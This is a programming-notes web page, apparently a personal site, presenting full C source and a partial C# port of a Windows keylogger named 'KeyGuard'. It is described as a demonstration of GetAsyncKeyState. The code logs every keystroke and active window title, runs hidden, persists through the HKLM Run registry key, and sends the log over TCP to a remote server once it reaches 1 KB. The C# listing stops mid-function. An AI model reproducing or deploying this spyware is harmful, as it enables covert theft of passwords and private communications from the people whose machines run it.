HomeSoftwareScriptsNotesToolboxGallery
Computing
Thoughts on Coding Styleddrescue Recovery NotesDomain 301 Perma RedirectWin/Linux PuTTY File TransferOpenVPN Site-to-Site SetupParity Data CheckingRclone Quick ReferenceSnapRAID NotesSSH TunnelingTransfer E-Mails with IMAPUDK Third Person CameraVPN Protocol Ports

GNU/Linux
Apache Process Mem UsageApache and CA OpenSSLApache2 htpasswd NotesCentOS 7 GlusterFS NotesCracking WEP and WPADebian 7 on Hyper-VDebian 7 to 8 UpgradeDebian 8 to 9 UpgradeDebian 9 DRBD SetupDebian and VirtualboxDebian and LSBInitScriptsDebian and systemdDebian Apache LetsEncryptDebian Apt AutoremoveDebian Cron & AnacronDebian KVM HypervisorLinux Bash ColorsLinux Cron BackupLinux Dnsmasq Setup NotesIptables Chain ExampleIptables Firewall and GatewayLinux MD RAID BasicsLinux iproute2 RoutingLinux SFTP Network ShareAvoid Linux Shell LoggingChecking Storage UsageLinux I/O Disk PerformanceLinux ZFS NotesVi/Vim Basic Reference

Microsoft
Bypass Windows PasswordDaz and ToolkitMRTG Network Traffic ViewMS Outlook NotesDOS File Content SearchDOS Merging VCF filesROBOCOPY Batch ScriptingPowerShell Reference NotesThe runas CommandTeamViewer on HeadlessUpdateOrchestrator ModWorkgroup Failover ClusterDisable OneDrive in W10Windows 10 ServerWindows WiFi and netshWindows Boot Custom UIHyper-V NetworkingHyper-V ReplicationIIS10 and PHP7 SetupLet's Encrypt and IISPlex Media Server MigrationRebuilding Boot PartitionSecuring RDP ConnectionsServer 2012 R2 SetupWindows Shortcut CommandsWBAdmin Bare-Metal Backup

BSD/Unix
FreeBSD 10.0 Setup (NOR)

C#/.NET
C# Associative ArraysC# Asynchronized WebcallC# Base64 GZipped JSONC# Broadcast Registry ChangesChanging a project nameC# Code Execution TimerCode Signing With SigntoolC# Creating a WebserverC# Dealing with WhitespacesC# djDBI for SQL CEC# Form ReferencingC# Get Folder SizeC# Handling DisconnectsC# HTTP POST and GETC# Importing DLL FunctionsC# Installing ServicesC# Kill and Start ProcessesC# Lambda ExpressionsC# Local AppData HandlingC# Memory StreamReadingC# Minimize to System TrayC# PDFsharp and MigraDocC# Public Fields vs PropsC# Registry HandlingC# Regular ExpressionsC# Require AdministratorC# RichTextBox File StreamC# Application SettingsC# SqlCeConnection CodeC# Start with hidden formC# String EncryptionC# Cross Thread HandlingC# Updating A RuntimeC# Gmail as SMTPVSI Dependency ErrorC# Handle XML

C/C++
AOB Scan/InjectC Autodelete Old FilesC/C++ Multiline StringsC Socket ListeningC StringsGDI Double BufferWin32 Button ControlWin32 Edit ControlWin32 GetLastError()Win32 KeyloggingWin32 KeypostingWin32 Simple WindowWin32 Socket ProgrammingWin32 VERSIONINFO

PHP
Bitwise IP HandlingPHP ClassesContent Length HandlingDetecting Mobile BrowsersGoogle Captcha IntegrationHidden DownloadsHostname and Port RegexJSON Output HeadersMS Access Conn with COMProportional Image SizingRandom StringsRecursive FunctionsSending MailPHP SessionsSimple HTML-2-PDFPHP SimpleXMLTernary Operator and If/Else

SQL
MS Access Connection StringsMSSQL Case SensitivityMySQL Root Password ResetMySQL Check Slow QueriesColumn CountingQuick Note on CROSS JOINQuick Note on INNER JOINRandom Rows

HTML
HTML Raw Skeleton

JavaScript
AJAX Basicsevent.keyCode ReferenceIE7 Onclick EventsIE GIF Animation Problem

Java
Java Notater (NOR)

CSS
Border StylesFlyout MenusFont-Family Reference

Electrical
Betegnelser og SpenningsfallLovdata Elektrisk ArbeidResistors Series and ParallelSilicone and Circuit Boards

Win32 Keylogging


Win32 Keylogging code. Sends logs to external listening server. Posted for the illustration of GetAsyncKeyState which is the heart of the program and can be used for any key listening application across programs, as it doesn't need focus. All keyboard input in Windows gets filtered by it. Useful for game overlays, background listeners etc. Further down I've also posted the C# .NET version, where I've P/Invoked the necessary DLLs to use much of the Win32 code.

#include "stdafx.h"
#include "KeyGuard.h"

#define MAX_LOADSTRING 100
#define MAX_LOG_SIZE 1024
#define LOG_FILE_NAME "KeyGuard.log"

// Global variable declarations
HINSTANCE hInst;
HWND hWnd;
HWND fgWindow;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
TCHAR ProgramID[11];
TCHAR ServerIP[16];
TCHAR ServerPort[6];
TCHAR fgWindowTitle[50];
BOOL lastKeyBeenUp;
BOOL CapsLockOn;
BOOL ShiftIsDown;
BOOL RAltIsDown;
BOOL TabIsUp;
INT CurrentTabKey;
INT FormatKeys[8];
INT lastKey;

// Function prototypes
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK	About(HWND, UINT, WPARAM, LPARAM);
ATOM	MyRegisterClass(HINSTANCE hInstance);
BOOL	InitInstance(HINSTANCE, INT);
VOID	ConvertWToChar(TCHAR *Source, CHAR *Dest);
VOID	SaveToLog(CHAR, CHAR*, INT);
VOID	Install();
VOID	KeyScan();
VOID	SendLog();

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	UNREFERENCED_PARAMETER(lpCmdLine);

	MSG msg;
	HACCEL hAccelTable;
	INT nArgs, i;
	LPWSTR *szParameters;

	// Initializations
	ZeroMemory(&msg, sizeof(MSG));
	ProgramID[0] = NULL;
	ServerIP[0] = NULL;
	ServerPort[0] = NULL;
	lastKeyBeenUp = FALSE;
	TabIsUp = FALSE;
	lastKey = VK_ESCAPE;
	fgWindow = hWnd;
	CurrentTabKey = TXT_KEYGUARD_ID;
	wcscpy_s(fgWindowTitle, szTitle);
	FormatKeys[0] = VK_SPACE;
	FormatKeys[1] = VK_RETURN;
	FormatKeys[2] = VK_OEM_PLUS;
	FormatKeys[3] = VK_OEM_COMMA;
	FormatKeys[4] = VK_OEM_MINUS;
	FormatKeys[5] = VK_OEM_PERIOD;
	FormatKeys[6] = VK_BACK;
	FormatKeys[7] = VK_TAB;

	// Get program parameters
	szParameters = CommandLineToArgvW(GetCommandLineW(), &nArgs);
	if (szParameters != NULL) {
		for (i = 0; i<nArgs; i++) {
			if (wcscmp(szParameters[i], L"-hide") == 0)
				nCmdShow = SW_HIDE;

			if (i == 2) // ID must be second parameter
				wcscpy_s(ProgramID, szParameters[i]);

			if (i == 3) // IP
				wcscpy_s(ServerIP, szParameters[i]);

			if (i == 4) // Port
				wcscpy_s(ServerPort, szParameters[i]);
		}
	}

	// Initialize global strings
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_KEYGUARD, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	// Destroy other instances of KeyGuard
	PostMessage(FindWindow(szWindowClass, szTitle),WM_DESTROY,0,0);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow))
		return FALSE;

	hAccelTable = LoadAccelerators(hInstance, 
			MAKEINTRESOURCE(IDC_KEYGUARD));

	// Main message loop:
	while (msg.message != WM_QUIT) {
		Sleep(5); // Try to stay CPU friendly, but still quick
		if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
			TranslateAccelerator(msg.hwnd, hAccelTable, &msg);
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}

		KeyScan(); // Scans and logs keys
		SendLog(); // Send if PID exists and > MAX_LOG_SIZE
	}

	return (int) msg.wParam;
}

ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;
	wcex.cbSize = sizeof(WNDCLASSEX);

	wcex.style		= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon		= LoadIcon(hInstance, 
					MAKEINTRESOURCE(IDI_KEYGUARD));
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
	wcex.lpszMenuName	= MAKEINTRESOURCE(IDC_KEYGUARD);
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, 
					MAKEINTRESOURCE(IDI_SMALL));

	return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance;

   // Main window.
   hWnd = CreateWindow(szWindowClass, szTitle, WS_POPUPWINDOW|WS_CAPTION,
      CW_USEDEFAULT, 0, 240, 150, NULL, NULL, hInstance, NULL);

   // Create "Program ID:" edit control.
   CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"", 
		WS_VISIBLE | WS_CHILD | ES_NUMBER,
		95, 10, 90, 20, hWnd, (HMENU)TXT_KEYGUARD_ID, NULL, NULL);
   SetDlgItemText(hWnd, TXT_KEYGUARD_ID, ProgramID);

   // Create "Server IP:" edit control.
   CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"", 
		WS_VISIBLE | WS_CHILD,
		95, 30, 120, 20, hWnd, (HMENU)TXT_KEYGUARD_IP, NULL, NULL);
   SetDlgItemText(hWnd, TXT_KEYGUARD_IP, ServerIP);

   // Create "Server Port:" edit control.
   CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"", 
		WS_VISIBLE | WS_CHILD | ES_NUMBER,
		95, 50, 50, 20, hWnd, (HMENU)TXT_KEYGUARD_PORT, NULL, NULL);
   SetDlgItemText(hWnd, TXT_KEYGUARD_PORT, ServerPort);

   // Create "Update / Install" button control.
   CreateWindowEx(NULL, L"BUTTON", L"Install / update", WS_VISIBLE | WS_CHILD,
		35, 70, 150, 20, hWnd, (HMENU)BTN_KEYGUARD_ID, NULL, NULL);

   if (!hWnd)
      return FALSE;

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);

   return TRUE;
}

LRESULT CALLBACK WndProc(HWND hWnd, 
			UINT message, 
			WPARAM wParam, 
			LPARAM lParam)
{
	int wmId, wmEvent;
	TCHAR lblProgramID[] = L"Program ID:";
	TCHAR lblServerIP[] = L"   Server IP:";
	TCHAR lblServerPort[] = L"Server Port:";
	TCHAR szKeyGuardID[11];
	TCHAR szKeyGuardServerIP[16];
	TCHAR szKeyGuardServerPort[6];
	PAINTSTRUCT ps;
	HDC hdc;

	switch (message) {
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		
		switch (wmId) {
		case IDM_ABOUT:
			DialogBox(hInst, 
				MAKEINTRESOURCE(IDD_ABOUTBOX), 
				hWnd, 
				About);
			break;

		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;

		case BTN_KEYGUARD_ID:
			if (GetDlgItemText(hWnd, TXT_KEYGUARD_ID, 
					szKeyGuardID, 
					sizeof(szKeyGuardID)) < 10) 
			{
				MessageBox(NULL, L"Must be 10 numbers.", 
					L"FAIL", MB_OK | MB_ICONERROR);
				break;
			}

			if (GetDlgItemText(hWnd, TXT_KEYGUARD_IP, 
					szKeyGuardServerIP, 
					sizeof(szKeyGuardServerIP)) < 7) 
			{
				MessageBox(NULL, L"Invalid IPv4 address.", 
					L"FAIL", MB_OK | MB_ICONERROR);
				break;
			}

			if (GetDlgItemTextW(hWnd, TXT_KEYGUARD_PORT, 
					szKeyGuardServerPort, 
					sizeof(szKeyGuardServerPort)) < 4) 
			{
				MessageBox(NULL, L"Invalid port number.", 
					L"FAIL", MB_OK | MB_ICONERROR);
				break;
			}

			wcscpy_s(ProgramID, szKeyGuardID);
			wcscpy_s(ServerIP, szKeyGuardServerIP);
			wcscpy_s(ServerPort, szKeyGuardServerPort);

			Install();
			break;

		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
		}
		break;

	case WM_PAINT:
		hdc = BeginPaint(hWnd, &ps);
		// Add any drawing code here.
		
		TextOut(hdc, 10, 10, lblProgramID, ARRAYSIZE(lblProgramID));
		TextOut(hdc, 10, 30, lblServerIP, ARRAYSIZE(lblServerIP));
		TextOut(hdc, 10, 50, lblServerPort, ARRAYSIZE(lblServerPort));

		EndPaint(hWnd, &ps);
		break;

	case WM_DESTROY:
		PostQuitMessage(0);
		break;

	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}

INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
	UNREFERENCED_PARAMETER(lParam);
	switch (message) {
	case WM_INITDIALOG:
		return (INT_PTR)TRUE;

	case WM_COMMAND:
		if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
			EndDialog(hDlg, LOWORD(wParam));
			return (INT_PTR)TRUE;
		}
		break;
	}
	return (INT_PTR)FALSE;
}

VOID Install() 
{
	HKEY hkey;
	TCHAR NewRegistryKeyValue[100];
	TCHAR ExecuteParams[50];

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\"
					L"Windows\\CurrentVersion\\Run",
				0,KEY_SET_VALUE,&hkey) != ERROR_SUCCESS) 
	{
		MessageBox(NULL, L"You need administrative rights to do "
			L"this.", L"Install", MB_OK | MB_ICONERROR );
		return;
	}

	// Update registry
	wcscpy_s(NewRegistryKeyValue, L"C:\\KeyGuard\\KeyGuard.exe\" -hide ");
	wcscat_s(NewRegistryKeyValue, ProgramID);
	wcscat_s(NewRegistryKeyValue, L" ");
	wcscat_s(NewRegistryKeyValue, ServerIP);
	wcscat_s(NewRegistryKeyValue, L" ");
	wcscat_s(NewRegistryKeyValue, ServerPort);

	RegDeleteKeyValue(hkey, NULL, L"KeyGuard");
	if(RegSetValueEx(
		hkey, 
		L"KeyGuard", 
		0, 
		REG_SZ, 
		(const BYTE*)NewRegistryKeyValue, 
		sizeof(NewRegistryKeyValue)
	) != ERROR_SUCCESS) {
		MessageBox(NULL, L"Failed creating registry startup.", L"e", MB_OK | MB_ICONERROR );
	}
	RegCloseKey(hkey);

	// Install folder and file
	CreateDirectory(L"C:\\KeyGuard\\", NULL);
	CopyFile(L"KeyGuard.exe", L"C:\\KeyGuard\\KeyGuard.exe", FALSE);

	MessageBox(
		NULL, 
		L"Done. Starting C:\\KeyGuard\\KeyGuard.exe in"
		L" hidden mode ...", L"Install / update", 
		MB_OK | MB_ICONINFORMATION 
	);

	// Start the other KeyGuard and send a redundant quit message
	wcscpy_s(ExecuteParams, L"-hide ");
	wcscat_s(ExecuteParams, ProgramID);
	wcscat_s(ExecuteParams, L" ");
	wcscat_s(ExecuteParams, ServerIP);
	wcscat_s(ExecuteParams, L" ");
	wcscat_s(ExecuteParams, ServerPort);

	ShellExecute(
		NULL, 
		L"open", L"KeyGuard.exe", ExecuteParams, 
		L"C:\\KeyGuard\\", SW_SHOW
	);

	PostQuitMessage(0);
}

VOID KeyScan() 
{
	int loop_a;
	CHAR *formatValue, logValue;

	// Prevent log spam
	if ((GetKeyState(lastKey) & 0x8000) == 0)
		lastKeyBeenUp = TRUE;

	if (!lastKeyBeenUp) 
		return;

	// Modifier keys
	if ((GetKeyState(VK_SHIFT) & 0x8000) == 0)
		ShiftIsDown = FALSE;
	else
		ShiftIsDown = TRUE;

	if ((GetKeyState(VK_RMENU) & 0x8000) == 0)
		RAltIsDown = FALSE;
	else
		RAltIsDown = TRUE;

	// Enable TabSTOP for UI instead of crazyness.
	if ((GetKeyState(VK_TAB) & 0x8000) == 0)
		TabIsUp = TRUE;

	// 0-9
	for (loop_a=0x30; loop_a<=0x39; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch (loop_a) {
			case 0x30:
				logValue = (ShiftIsDown?'=':'0');
				break;

			case 0x31:
				logValue = (ShiftIsDown?'!':'1');
				break;

			case 0x32:
				logValue = (ShiftIsDown?'"':'2');
				logValue = (RAltIsDown?'@':logValue);
				break;

			case 0x33:
				logValue = (ShiftIsDown?'#':'3');
				break;

			case 0x34:
				logValue = (ShiftIsDown?'¤':'4');
				break;

			case 0x35:
				logValue = (ShiftIsDown?'%':'5');
				break;

			case 0x36:
				logValue = (ShiftIsDown?'&':'6');
				break;

			case 0x37:
				logValue = (ShiftIsDown?'/':'7');
				break;

			case 0x38:
				logValue = (ShiftIsDown?'(':'8');
				break;

				case 0x39:
				logValue = (ShiftIsDown?')':'9');
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// 0-9 Numpad
	for(loop_a=0x60; loop_a<=0x69; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch(loop_a) {
			case 0x06: 
				logValue = '0';
				break;

			case 0x61:
				logValue = '1';
				break;

			case 0x62:
				logValue = '2';
				break;

			case 0x63:
				logValue = '3';
				break;

			case 0x64:
				logValue = '4';
				break;

			case 0x65:
				logValue = '5';
				break;

			case 0x66:
				logValue = '6';
				break;

			case 0x67:
				logValue = '7';
				break;

			case 0x68:
				logValue = '8';
				break;

			case 0x69:
				logValue = '9';
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// Works out case-sensitiv logging
	if ((GetKeyState(VK_CAPITAL) & 0x1) > 0 && 
			(GetKeyState(VK_SHIFT)&0x8000) == 0)
		CapsLockOn = TRUE;
	else if ((GetKeyState(VK_CAPITAL) & 0x1) == 0 && 
			(GetKeyState(VK_SHIFT) & 0x8000) > 0) 
		CapsLockOn = TRUE;
	else
		CapsLockOn = FALSE;

	// A-Z
	for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
		if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
			switch(loop_a) {
			case 0x41:
				logValue = (CapsLockOn?'A':'a');
				break;

			case 0x42:
				logValue = (CapsLockOn?'B':'b');
				break;

			case 0x43:
				logValue = (CapsLockOn?'C':'c');
				break;

			case 0x44:
				logValue = (CapsLockOn?'D':'d');
				break;

			case 0x45:
				logValue = (CapsLockOn?'E':'e');
				break;

			case 0x46:
				logValue = (CapsLockOn?'F':'f');
				break;

			case 0x47:
				logValue = (CapsLockOn?'G':'g');
				break;

			case 0x48:
				logValue = (CapsLockOn?'H':'h');
				break;

			case 0x49:
				logValue = (CapsLockOn?'I':'i');
				break;

			case 0x4A:
				logValue = (CapsLockOn?'J':'j');
				break;

			case 0x4B:
				logValue = (CapsLockOn?'K':'k');
				break;

			case 0x4C:
				logValue = (CapsLockOn?'L':'l');
				break;

			case 0x4D:
				logValue = (CapsLockOn?'M':'m');
				break;

			case 0x4E:
				logValue = (CapsLockOn?'N':'n');
				break;

			case 0x4F:
				logValue = (CapsLockOn?'O':'o');
				break;

			case 0x50:
				logValue = (CapsLockOn?'P':'p');
				break;

			case 0x51:
				logValue = (CapsLockOn?'Q':'q');
				break;
			
			case 0x52:
				logValue = (CapsLockOn?'R':'r');
				break;

			case 0x53:
				logValue = (CapsLockOn?'S':'s');
				break;

			case 0x54:
				logValue = (CapsLockOn?'T':'t');
				break;

			case 0x55:
				logValue = (CapsLockOn?'U':'u');
				break;

			case 0x56:
				logValue = (CapsLockOn?'V':'v');
				break;

			case 0x57:
				logValue = (CapsLockOn?'W':'w');
				break;

			case 0x58:
				logValue = (CapsLockOn?'X':'x');
				break;

			case 0x59:
				logValue = (CapsLockOn?'Y':'y');
				break;

			case 0x5A:
				logValue = (CapsLockOn?'Z':'z');
				break;
			}

			SaveToLog(logValue, NULL, loop_a);
			return;
		}
	}

	// Formatting
	for (loop_a=0; loop_a<=8; loop_a++) {
		if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
			switch(FormatKeys[loop_a]) {
			case VK_SPACE:
				formatValue = " ";
				break;

			case VK_RETURN:
				formatValue = "\r\n";
				break;

			case VK_OEM_PLUS:
				formatValue = (ShiftIsDown?"?":"+");
				break;
				
			case VK_OEM_COMMA:
				formatValue = (ShiftIsDown?";":",");
				break;

			case VK_OEM_MINUS:
				formatValue = (ShiftIsDown?"_":"-");
				break;

			case VK_OEM_PERIOD:
				formatValue = (ShiftIsDown?":":".");
				break;

			case VK_BACK:
				formatValue = "<";
				break;

			case VK_TAB:
				formatValue = "[Tab]";
				if (CurrentTabKey == TXT_KEYGUARD_ID && TabIsUp) {
					SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_IP));
					CurrentTabKey = TXT_KEYGUARD_IP;

				} else if (CurrentTabKey == TXT_KEYGUARD_IP && TabIsUp) {
					SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_PORT));
					CurrentTabKey = TXT_KEYGUARD_PORT;

				} else if (CurrentTabKey == TXT_KEYGUARD_PORT && TabIsUp) {
					SetFocus(GetDlgItem(hWnd, TXT_KEYGUARD_ID));
					CurrentTabKey = TXT_KEYGUARD_ID;
				}
				TabIsUp = FALSE;
				break;
			}

			SaveToLog(NULL, formatValue, FormatKeys[loop_a]);
		}
	}
}

VOID SaveToLog(CHAR c, CHAR *s, INT k)
{
	FILE *logFile;
	TCHAR cur_fgWindowTitle[50];
	CHAR LogTitle[50];

	// Check and set a new window title in the log
	fgWindow = GetForegroundWindow();
	GetWindowText(fgWindow, cur_fgWindowTitle, 50);
	ConvertWToChar(cur_fgWindowTitle, LogTitle);

	// Don't log our own window
	if (wcscmp(cur_fgWindowTitle, szTitle) == 0)
		return;

	// Don't log if there's no Program ID
	if (ProgramID[0] == NULL)
		return;

	if (wcscmp(cur_fgWindowTitle, fgWindowTitle) != 0) {
		GetWindowText(fgWindow, fgWindowTitle, 50);

		// Update log with new window title
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, 
				"\r\n\r\n[WINDOW: %s%s", 
				LogTitle, 
				"]\r\n");
			fclose(logFile);
		}
	}

	// Log a single character
	if (c != NULL) {
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, "%c", c);
			fclose(logFile);
		}
	}

	// Log a formatting value
	if (s != NULL) {
		if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
			fprintf_s(logFile, "%s", s);
			fclose(logFile);
		}
	}

	lastKey = k;
	lastKeyBeenUp = FALSE;
}

VOID SendLog()
{
	WSADATA wsaData;
	SOCKET KGSocket = INVALID_SOCKET;
	struct addrinfo *result = NULL, *ptr = NULL, hints;
	BOOL sentFailFlag = FALSE;
	CHAR LogData[MAX_LOG_SIZE+1], PID[11];
	CHAR ServerIPANSI[16], ServerPortANSI[6];
	FILE *logFile;
	INT LogSize;

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	if (ProgramID[0] == NULL || 
		ServerIP == NULL ||
		ServerPort == NULL)
		return;

	// Get a local ANSI copy of the ID, for send()
	ConvertWToChar(ProgramID, PID);
	ConvertWToChar(ServerIP, ServerIPANSI);
	ConvertWToChar(ServerPort, ServerPortANSI);

	// Get log size
	if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
		fseek(logFile, 0, SEEK_END);
		LogSize = (int)ftell(logFile);
		fclose(logFile);
		if (LogSize < MAX_LOG_SIZE)
			return;
	} else {
		return;
	}

	// Initiate connection to server
	if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
		return;
		
	if (getaddrinfo(ServerIPANSI, ServerPortANSI, &hints, &result) != 0) {
		WSACleanup();
		return;
	}
	
	ptr=result;
	KGSocket = socket(ptr->ai_family, 
			ptr->ai_socktype, 
			ptr->ai_protocol);

	if (KGSocket == INVALID_SOCKET) {
		freeaddrinfo(result);
		WSACleanup();
		return;
	}
	
	if (connect(KGSocket, 
		ptr->ai_addr, 
		(int)ptr->ai_addrlen) == SOCKET_ERROR) 
	{
		closesocket(KGSocket);
		KGSocket = INVALID_SOCKET;
		freeaddrinfo(result);
		WSACleanup();
		return;
	}
	
	// Get log data
	if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
		LogSize = fread(LogData, sizeof(char), MAX_LOG_SIZE, logFile);
		LogData[LogSize] = '\0';
		fclose(logFile);
	}
	
	// Attempt to send PID and log data
	if (send(KGSocket, PID, sizeof(PID), 0) == SOCKET_ERROR)
		sentFailFlag = TRUE;
	if (send(KGSocket, LogData, sizeof(LogData), 0) == SOCKET_ERROR)
		sentFailFlag = TRUE;

	// Reset log
	if (!sentFailFlag) {
		DeleteFileA(LOG_FILE_NAME);
	}
	
	closesocket(KGSocket);
	KGSocket = INVALID_SOCKET;
	freeaddrinfo(result);
	WSACleanup();
	return;
}

VOID ConvertWToChar(TCHAR *Source, CHAR *Dest)
{
	int i = 0;
	while(Source[i] != '\0') {
		Dest[i] = (char)Source[i];
		++i;
	}
	Dest[i] = '\0';
}

The C# .NET version
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Diagnostics;
using Microsoft.Win32;
using System.Data.SqlServerCe;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Net;
using System.Net.Sockets;
using System.Text.RegularExpressions;

namespace KeyGuard_Client
{
	public partial class Form1 : Form
	{
		// Struct for PeekMessage MSG.
		[StructLayout(LayoutKind.Sequential)]
		public struct NativeMessage 
		{
			public IntPtr handle;
			public uint msg;
			public IntPtr wParam;
			public IntPtr lParam;
			public uint time;
			public Point p;
		}

		// External DLL imports.
		[DllImport("user32.dll")]
		public static extern short GetAsyncKeyState(int vKey);
		[DllImport("user32.dll")]
		public static extern short GetKeyState(int nVirtKey);
		[DllImport("user32.dll")]
		public static extern IntPtr GetForegroundWindow();
		[DllImport("user32.dll")]
		public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
		[DllImport("user32.dll")]
		static extern bool PeekMessage(out NativeMessage lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax, uint wRemoveMsg);

		// Private static variables.
		private static string InstallDirectory = @"C:\KeyGuard\";
		private static string ClientFileName = @"KeyGuardPatrol.exe";
		private static string exepath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
		private static string iClientFileName = string.Format(@"{0}\{1}", exepath, @"KeyGuard Client.exe");

		// Private variables.
		private bool EngineRunning = false;
		private bool ShiftIsDown = false;
		private bool RAltIsDown = false;
		private bool CapsLockOn = false;
		private StringBuilder LogContainer = new StringBuilder();
		private StringBuilder fgWindowTitle = new StringBuilder(50);
		private TcpClient Client = new TcpClient();
		private NetworkStream ClientStream;
		private string[] Settings = new string[3];
		private bool Installed = false;
		private bool HasGreeted = false;
		private bool ClientStillConnected = false;
		private NativeMessage msg = new NativeMessage();
		private List<int> CurrentDownKeys = new List<int>();
		private bool Debugging = false;

		// Formatting keys.
		int[] FormatKeys = {
			(int)Keys.Space,
			(int)Keys.Return,
			(int)Keys.Oemplus,
			(int)Keys.Oemcomma,
			(int)Keys.OemMinus,
			(int)Keys.OemPeriod,
			(int)Keys.Back,
			(int)Keys.Tab
		};

		public Form1(bool WeAreInstalled, string[] args)
		{
			InitializeComponent();
			Installed = WeAreInstalled;
			Application.ApplicationExit += new EventHandler(this.OnApplicationExit);
			
			if (args.Length > 0)
				if (args[0] == "-debug")
					Debugging = true;

			// Load registry settings if found.
			try {
				string SettingsKey = @"SOFTWARE\KeyGuard";
				using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(SettingsKey)) {
					txtProgramID.Text = RK.GetValue("ID").ToString();
					txtServerIP.Text = RK.GetValue("IP").ToString();
					txtServerPort.Text = RK.GetValue("Port").ToString();
					RK.Close();
				}
			} catch (Exception ee) {
				if (Debugging)
					MsgBox("Form1(): "+ ee.Message);
			}

			// Run loop in background.
			if (Installed) {
				
				// Kill duplicate patrols if we're already running.
				Process[] p = Process.GetProcessesByName("KeyGuardPatrol");
				if (p.Length > 1) {
					for (int n=p.Length-1; n>0; n--)
						p[n].Kill();
				}

				LoadSettings();
				EngineRunning = true;
				bkWorker.RunWorkerAsync();
			}
		}

		private void OnApplicationExit(object sender, EventArgs e)
		{
			try {
				ClientStream.Close();
				Client.Close();
			} catch (Exception) {}
		}

		private void LoadSettings()
		{
			// Update registry settings.
			string SettingsKey = @"SOFTWARE\KeyGuard";
			using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(SettingsKey)) {
				Settings[0] = RK.GetValue("ID").ToString();
				Settings[1] = RK.GetValue("IP").ToString();
				Settings[2] = RK.GetValue("Port").ToString();
				RK.Close();
			}

			txtProgramID.Text = Settings[0];
			txtServerIP.Text = Settings[1];
			txtServerPort.Text = Settings[2];
		}

		private void SendLog()
		{
			// Check for new window title before size check.
			try {
				IntPtr fgWindow = GetForegroundWindow();
				StringBuilder cur_fgWindowTitle = new StringBuilder(50);
				GetWindowText(fgWindow, cur_fgWindowTitle, 50);
				string FormattedTitle;

				if (cur_fgWindowTitle.ToString() != fgWindowTitle.ToString() && 
					cur_fgWindowTitle.ToString() != "KeyGuard Client" && 
					cur_fgWindowTitle.ToString() != "KeyGuard Server" && 
					cur_fgWindowTitle.ToString() != "") 
				{
					GetWindowText(fgWindow, fgWindowTitle, 50);
					FormattedTitle = "\n\n"+ 
						DateTime.Now.ToString("yyyy-MM-dd HH:mm") +
						" [WINDOW: "+ 
						cur_fgWindowTitle.ToString() + 
						"]\n";
					LogContainer.Append(FormattedTitle);
				}

			} catch (Exception ee) {
				if (Debugging)
					MsgBox("SendLog()_1: "+ ee.Message);
			}

			// Send log to configured server in settings.
			byte[] KGID = new byte[22];
			byte[] KGPING = new byte[2];
			byte[] KGLOG = new byte[Encoding.ASCII.GetByteCount(LogContainer.ToString())];

			try {
				if (!HasGreeted) {
					KGID = Encoding.ASCII.GetBytes("!KGID!"+ Settings[0] +"!KGID!");
